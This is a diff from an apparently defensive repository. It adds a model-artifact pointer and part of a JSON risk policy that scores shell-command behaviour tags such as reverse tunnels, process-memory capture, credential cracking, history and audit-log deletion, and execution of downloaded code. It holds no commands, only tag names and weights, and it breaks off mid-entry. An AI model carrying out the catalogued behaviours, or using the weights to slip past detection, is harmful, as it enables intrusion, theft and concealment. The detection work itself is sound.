Use the companion GitHub helpers so feature extraction matches the released L2
|
| 52 |
+
artifact.
|
l2_artifacts/logreg.joblib
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:daf76830fdb47d83f3e6f161e9876b514138b12e8c3118aabf0b0cdd6f1947c6
|
| 3 |
+
size 171046
|
l2_artifacts/tag_risk_policy.rev20.json
ADDED
|
@@ -0,0 +1,1207 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"alert_markers": [
|
| 3 |
+
"anti_forensic",
|
| 4 |
+
"boundary_cross",
|
| 5 |
+
"business_sensitive",
|
| 6 |
+
"cloud_identity",
|
| 7 |
+
"cloud_remote_execution",
|
| 8 |
+
"credential_access",
|
| 9 |
+
"destructive",
|
| 10 |
+
"egress",
|
| 11 |
+
"identity_policy",
|
| 12 |
+
"ingress_execution",
|
| 13 |
+
"persistence",
|
| 14 |
+
"recon",
|
| 15 |
+
"sensitive_access",
|
| 16 |
+
"remote_access"
|
| 17 |
+
],
|
| 18 |
+
"config_id": "rev20_tag_risk_policy_v11",
|
| 19 |
+
"group_defaults": {
|
| 20 |
+
"cloud_control_plane": {
|
| 21 |
+
"base_points": 0.85,
|
| 22 |
+
"family": "cloud_control"
|
| 23 |
+
},
|
| 24 |
+
"configuration_and_log_modification": {
|
| 25 |
+
"base_points": 0.55,
|
| 26 |
+
"family": "mutation"
|
| 27 |
+
},
|
| 28 |
+
"containers_and_cloud_native": {
|
| 29 |
+
"base_points": 0.65,
|
| 30 |
+
"family": "boundary_cross"
|
| 31 |
+
},
|
| 32 |
+
"database_and_infrastructure_services": {
|
| 33 |
+
"base_points": 0.45,
|
| 34 |
+
"family": "operational_access"
|
| 35 |
+
},
|
| 36 |
+
"execution_and_process": {
|
| 37 |
+
"base_points": 0.75,
|
| 38 |
+
"family": "execution"
|
| 39 |
+
},
|
| 40 |
+
"filesystem_and_data": {
|
| 41 |
+
"base_points": 0.6,
|
| 42 |
+
"family": "data_movement"
|
| 43 |
+
},
|
| 44 |
+
"identity_auth_and_secrets": {
|
| 45 |
+
"base_points": 1.0,
|
| 46 |
+
"family": "credential_access"
|
| 47 |
+
},
|
| 48 |
+
"kernel_memory_and_tracing": {
|
| 49 |
+
"base_points": 1.1,
|
| 50 |
+
"family": "privilege"
|
| 51 |
+
},
|
| 52 |
+
"network": {
|
| 53 |
+
"base_points": 0.8,
|
| 54 |
+
"family": "network_recon"
|
| 55 |
+
},
|
| 56 |
+
"observation_and_discovery": {
|
| 57 |
+
"base_points": 0.35,
|
| 58 |
+
"family": "recon"
|
| 59 |
+
},
|
| 60 |
+
"package_build_and_source": {
|
| 61 |
+
"base_points": 0.25,
|
| 62 |
+
"family": "benign_context"
|
| 63 |
+
},
|
| 64 |
+
"persistence_services_and_storage": {
|
| 65 |
+
"base_points": 0.7,
|
| 66 |
+
"family": "persistence"
|
| 67 |
+
}
|
| 68 |
+
},
|
| 69 |
+
"max_tags_per_command": 4,
|
| 70 |
+
"min_tag_score": 0.55,
|
| 71 |
+
"multi_label_gap": 0.12,
|
| 72 |
+
"notes": "Rev20 flat behavior-tag session risk policy. L2 derives session features from cached L1 top_labels using an internal tag-selection path that matches the released L2 model artifact. This does not change L1 prediction output: users still receive ranked top_labels, not a selected behavior_tags field. Tag-level points describe intrinsic behavior risk; session-level aggregation combines evidence, diversity, routine maintenance, and professional operations context. scoring_professional_operations is a negative context signal only when professional tags are dominant, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. It is not a command or tag whitelist.",
|
| 73 |
+
"operational_context_markers": [
|
| 74 |
+
"cloud_identity",
|
| 75 |
+
"identity_policy",
|
| 76 |
+
"recon",
|
| 77 |
+
"sensitive_access"
|
| 78 |
+
],
|
| 79 |
+
"severe_families": [
|
| 80 |
+
"credential_access",
|
| 81 |
+
"identity_policy",
|
| 82 |
+
"persistence",
|
| 83 |
+
"anti_forensic",
|
| 84 |
+
"boundary_cross",
|
| 85 |
+
"cloud_identity",
|
| 86 |
+
"cloud_remote_execution",
|
| 87 |
+
"data_egress",
|
| 88 |
+
"destructive",
|
| 89 |
+
"execution_bootstrap",
|
| 90 |
+
"privilege",
|
| 91 |
+
"sensitive_access",
|
| 92 |
+
"remote_access"
|
| 93 |
+
],
|
| 94 |
+
"tag_overrides": {
|
| 95 |
+
"apply_infrastructure_template": {
|
| 96 |
+
"family": "cloud_control",
|
| 97 |
+
"operational": true,
|
| 98 |
+
"points": 0.8
|
| 99 |
+
},
|
| 100 |
+
"archive_sensitive_content": {
|
| 101 |
+
"family": "data_egress",
|
| 102 |
+
"markers": [
|
| 103 |
+
"egress",
|
| 104 |
+
"business_sensitive"
|
| 105 |
+
],
|
| 106 |
+
"points": 2.5
|
| 107 |
+
},
|
| 108 |
+
"attempt_remote_authentication": {
|
| 109 |
+
"family": "identity_policy",
|
| 110 |
+
"markers": [
|
| 111 |
+
"identity_policy"
|
| 112 |
+
],
|
| 113 |
+
"points": 2.2
|
| 114 |
+
},
|
| 115 |
+
"attach_process_debugger": {
|
| 116 |
+
"family": "privilege",
|
| 117 |
+
"markers": [
|
| 118 |
+
"boundary_cross"
|
| 119 |
+
],
|
| 120 |
+
"points": 2.2
|
| 121 |
+
},
|
| 122 |
+
"capture_network_packets": {
|
| 123 |
+
"family": "sensitive_access",
|
| 124 |
+
"markers": [
|
| 125 |
+
"sensitive_access"
|
| 126 |
+
],
|
| 127 |
+
"points": 1.6
|
| 128 |
+
},
|
| 129 |
+
"capture_process_memory": {
|
| 130 |
+
"family": "collection",
|
| 131 |
+
"markers": [
|
| 132 |
+
"credential_access"
|
| 133 |
+
],
|
| 134 |
+
"points": 3.5
|
| 135 |
+
},
|
| 136 |
+
"clear_shell_history": {
|
| 137 |
+
"family": "anti_forensic",
|
| 138 |
+
"markers": [
|
| 139 |
+
"anti_forensic"
|
| 140 |
+
],
|
| 141 |
+
"points": 2.6
|
| 142 |
+
},
|
| 143 |
+
"clear_login_history": {
|
| 144 |
+
"family": "anti_forensic",
|
| 145 |
+
"markers": [
|
| 146 |
+
"anti_forensic"
|
| 147 |
+
],
|
| 148 |
+
"points": 3.0
|
| 149 |
+
},
|
| 150 |
+
"crack_credential_material": {
|
| 151 |
+
"family": "credential_access",
|
| 152 |
+
"markers": [
|
| 153 |
+
"credential_access"
|
| 154 |
+
],
|
| 155 |
+
"points": 3.0
|
| 156 |
+
},
|
| 157 |
+
"create_cluster_secret": {
|
| 158 |
+
"family": "credential_access",
|
| 159 |
+
"markers": [
|
| 160 |
+
"credential_access"
|
| 161 |
+
],
|
| 162 |
+
"points": 2.1
|
| 163 |
+
},
|
| 164 |
+
"create_credential_material": {
|
| 165 |
+
"family": "credential_access",
|
| 166 |
+
"points": 1.2
|
| 167 |
+
},
|
| 168 |
+
"create_privileged_container": {
|
| 169 |
+
"family": "boundary_cross",
|
| 170 |
+
"markers": [
|
| 171 |
+
"boundary_cross"
|
| 172 |
+
],
|
| 173 |
+
"points": 3.0
|
| 174 |
+
},
|
| 175 |
+
"create_cloud_access_key": {
|
| 176 |
+
"family": "cloud_identity",
|
| 177 |
+
"markers": [
|
| 178 |
+
"credential_access",
|
| 179 |
+
"cloud_identity"
|
| 180 |
+
],
|
| 181 |
+
"points": 3.4
|
| 182 |
+
},
|
| 183 |
+
"create_dynamic_proxy": {
|
| 184 |
+
"family": "remote_access",
|
| 185 |
+
"markers": [
|
| 186 |
+
"remote_access"
|
| 187 |
+
],
|
| 188 |
+
"points": 2.9
|
| 189 |
+
},
|
| 190 |
+
"create_forward_tunnel": {
|
| 191 |
+
"family": "remote_access",
|
| 192 |
+
"markers": [
|
| 193 |
+
"remote_access"
|
| 194 |
+
],
|
| 195 |
+
"points": 2.8
|
| 196 |
+
},
|
| 197 |
+
"create_reverse_tunnel": {
|
| 198 |
+
"family": "remote_access",
|
| 199 |
+
"markers": [
|
| 200 |
+
"remote_access"
|
| 201 |
+
],
|
| 202 |
+
"points": 3.5
|
| 203 |
+
},
|
| 204 |
+
"create_scheduled_task": {
|
| 205 |
+
"family": "persistence",
|
| 206 |
+
"markers": [
|
| 207 |
+
"persistence"
|
| 208 |
+
],
|
| 209 |
+
"points": 2.8
|
| 210 |
+
},
|
| 211 |
+
"create_special_filesystem_node": {
|
| 212 |
+
"family": "data_movement",
|
| 213 |
+
"points": 1.4
|
| 214 |
+
},
|
| 215 |
+
"create_systemd_unit": {
|
| 216 |
+
"family": "persistence",
|
| 217 |
+
"markers": [
|
| 218 |
+
"persistence"
|
| 219 |
+
],
|
| 220 |
+
"points": 2.9
|
| 221 |
+
},
|
| 222 |
+
"delete_audit_log": {
|
| 223 |
+
"family": "anti_forensic",
|
| 224 |
+
"markers": [
|
| 225 |
+
"anti_forensic"
|
| 226 |
+
],
|
| 227 |
+
"points": 3.4
|
| 228 |
+
},
|
| 229 |
+
"delete_business_log": {
|
| 230 |
+
"family": "anti_forensic",
|
| 231 |
+
"markers": [
|
| 232 |
+
"anti_forensic"
|
| 233 |
+
],
|
| 234 |
+
"points": 2.8
|
| 235 |
+
},
|
| 236 |
+
"delete_cloud_resource": {
|
| 237 |
+
"family": "destructive",
|
| 238 |
+
"markers": [
|
| 239 |
+
"destructive"
|
| 240 |
+
],
|
| 241 |
+
"points": 2.2
|
| 242 |
+
},
|
| 243 |
+
"delete_credential_material": {
|
| 244 |
+
"family": "destructive",
|
| 245 |
+
"markers": [
|
| 246 |
+
"credential_access",
|
| 247 |
+
"destructive"
|
| 248 |
+
],
|
| 249 |
+
"points": 2.8
|
| 250 |
+
},
|
| 251 |
+
"delete_database": {
|
| 252 |
+
"family": "destructive",
|
| 253 |
+
"markers": [
|
| 254 |
+
"destructive"
|
| 255 |
+
],
|
| 256 |
+
"points": 2.8
|
| 257 |
+
},
|
| 258 |
+
"delete_database_data": {
|
| 259 |
+
"family": "destructive",
|
| 260 |
+
"markers": [
|
| 261 |
+
"destructive"
|
| 262 |
+
],
|
| 263 |
+
"points": 2.7
|
| 264 |
+
},
|
| 265 |
+
"delete_object_storage": {
|
| 266 |
+
"family": "destructive",
|
| 267 |
+
"markers": [
|
| 268 |
+
"destructive"
|
| 269 |
+
],
|
| 270 |
+
"points": 2.8
|
| 271 |
+
},
|
| 272 |
+
"delete_secret_store": {
|
| 273 |
+
"family": "destructive",
|
| 274 |
+
"markers": [
|
| 275 |
+
"credential_access",
|
| 276 |
+
"destructive"
|
| 277 |
+
],
|
| 278 |
+
"points": 2.7
|
| 279 |
+
},
|
| 280 |
+
"delete_systemd_unit": {
|
| 281 |
+
"family": "persistence",
|
| 282 |
+
"markers": [
|
| 283 |
+
"persistence"
|
| 284 |
+
],
|
| 285 |
+
"points": 2.1
|
| 286 |
+
},
|
| 287 |
+
"delete_infrastructure_log": {
|
| 288 |
+
"family": "anti_forensic",
|
| 289 |
+
"markers": [
|
| 290 |
+
"anti_forensic"
|
| 291 |
+
],
|
| 292 |
+
"points": 3.0
|
| 293 |
+
},
|
| 294 |
+
"delete_system_log": {
|
| 295 |
+
"family": "anti_forensic",
|
| 296 |
+
"markers": [
|
| 297 |
+
"anti_forensic"
|
| 298 |
+
],
|
| 299 |
+
"points": 3.0
|
| 300 |
+
},
|
| 301 |
+
"download_external_content": {
|
| 302 |
+
"family": "data_movement",
|
| 303 |
+
"markers": [
|
| 304 |
+
"ingress_execution"
|
| 305 |
+
],
|
| 306 |
+
"points": 1.2
|
| 307 |
+
},
|
| 308 |
+
"enumerate_packages": {
|
| 309 |
+
"benign": true,
|
| 310 |
+
"family": "benign_context",
|
| 311 |
+
"points": -0.05
|
| 312 |
+
},
|
| 313 |
+
"execute_cloud_compute": {
|
| 314 |
+
"family": "cloud_remote_execution",
|
| 315 |
+
"markers": [
|
| 316 |
+
"cloud_remote_execution",
|
| 317 |
+
"boundary_cross"
|
| 318 |
+
],
|
| 319 |
+
"points": 3.0
|
| 320 |
+
},
|
| 321 |
+
"execute_encoded_command": {
|
| 322 |
+
"family": "execution_bootstrap",
|
| 323 |
+
"markers": [
|
| 324 |
+
"ingress_execution"
|
| 325 |
+
],
|
| 326 |
+
"points": 2.6
|
| 327 |
+
},
|
| 328 |
+
"execute_downloaded_content": {
|
| 329 |
+
"family": "execution_bootstrap",
|
| 330 |
+
"markers": [
|
| 331 |
+
"ingress_execution"
|
| 332 |
+
],
|
| 333 |
+
"points": 3.8
|
| 334 |
+
},
|
| 335 |
+
"execute_from_temporary_path": {
|
| 336 |
+
"family": "execution_bootstrap",
|
| 337 |
+
"markers": [
|
| 338 |
+
"ingress_execution"
|
| 339 |
+
],
|
| 340 |
+
"points": 2.1
|
| 341 |
+
},
|
| 342 |
+
"execute_from_user_writable_path": {
|
| 343 |
+
"family": "execution_bootstrap",
|
| 344 |
+
"markers": [
|
| 345 |
+
"ingress_execution"
|
| 346 |
+
],
|
| 347 |
+
"points": 1.9
|
| 348 |
+
},
|
| 349 |
+
"execute_in_chroot": {
|
| 350 |
+
"family": "boundary_cross",
|
| 351 |
+
"markers": [
|
| 352 |
+
"boundary_cross"
|
| 353 |
+
],
|
| 354 |
+
"points": 2.6
|
| 355 |
+
},
|
| 356 |
+
"execute_remote_command": {
|
| 357 |
+
"family": "remote_access",
|
| 358 |
+
"markers": [
|
| 359 |
+
"remote_access"
|
| 360 |
+
],
|
| 361 |
+
"points": 1.9
|
| 362 |
+
},
|
| 363 |
+
"format_filesystem": {
|
| 364 |
+
"family": "destructive",
|
| 365 |
+
"markers": [
|
| 366 |
+
"destructive"
|
| 367 |
+
],
|
| 368 |
+
"points": 2.7
|
| 369 |
+
},
|
| 370 |
+
"grant_cloud_privilege": {
|
| 371 |
+
"family": "cloud_identity",
|
| 372 |
+
"markers": [
|
| 373 |
+
"identity_policy",
|
| 374 |
+
"cloud_identity"
|
| 375 |
+
],
|
| 376 |
+
"points": 3.3
|
| 377 |
+
},
|
| 378 |
+
"grant_cluster_privilege": {
|
| 379 |
+
"family": "identity_policy",
|
| 380 |
+
"markers": [
|
| 381 |
+
"identity_policy"
|
| 382 |
+
],
|
| 383 |
+
"points": 2.4
|
| 384 |
+
},
|
| 385 |
+
"grant_database_privilege": {
|
| 386 |
+
"family": "identity_policy",
|
| 387 |
+
"markers": [
|
| 388 |
+
"identity_policy"
|
| 389 |
+
],
|
| 390 |
+
"points": 2.2
|
| 391 |
+
},
|
| 392 |
+
"grant_infrastructure_privilege": {
|
| 393 |
+
"family": "identity_policy",
|
| 394 |
+
"markers": [
|
| 395 |
+
"identity_policy"
|
| 396 |
+
],
|
| 397 |
+
"points": 2.1
|
| 398 |
+
},
|
| 399 |
+
"grant_user_privilege": {
|
| 400 |
+
"family": "identity_policy",
|
| 401 |
+
"markers": [
|
| 402 |
+
"identity_policy"
|
| 403 |
+
],
|
| 404 |
+
"points": 2.8
|
| 405 |
+
},
|
| 406 |
+
"listen_network_port": {
|
| 407 |
+
"family": "remote_access",
|
| 408 |
+
"markers": [
|
| 409 |
+
"remote_access"
|
| 410 |
+
],
|
| 411 |
+
"points": 2.6
|
| 412 |
+
},
|
| 413 |
+
"inject_process_code": {
|
| 414 |
+
"explicit_attack": true,
|
| 415 |
+
"family": "privilege",
|
| 416 |
+
"markers": [
|
| 417 |
+
"boundary_cross"
|
| 418 |
+
],
|
| 419 |
+
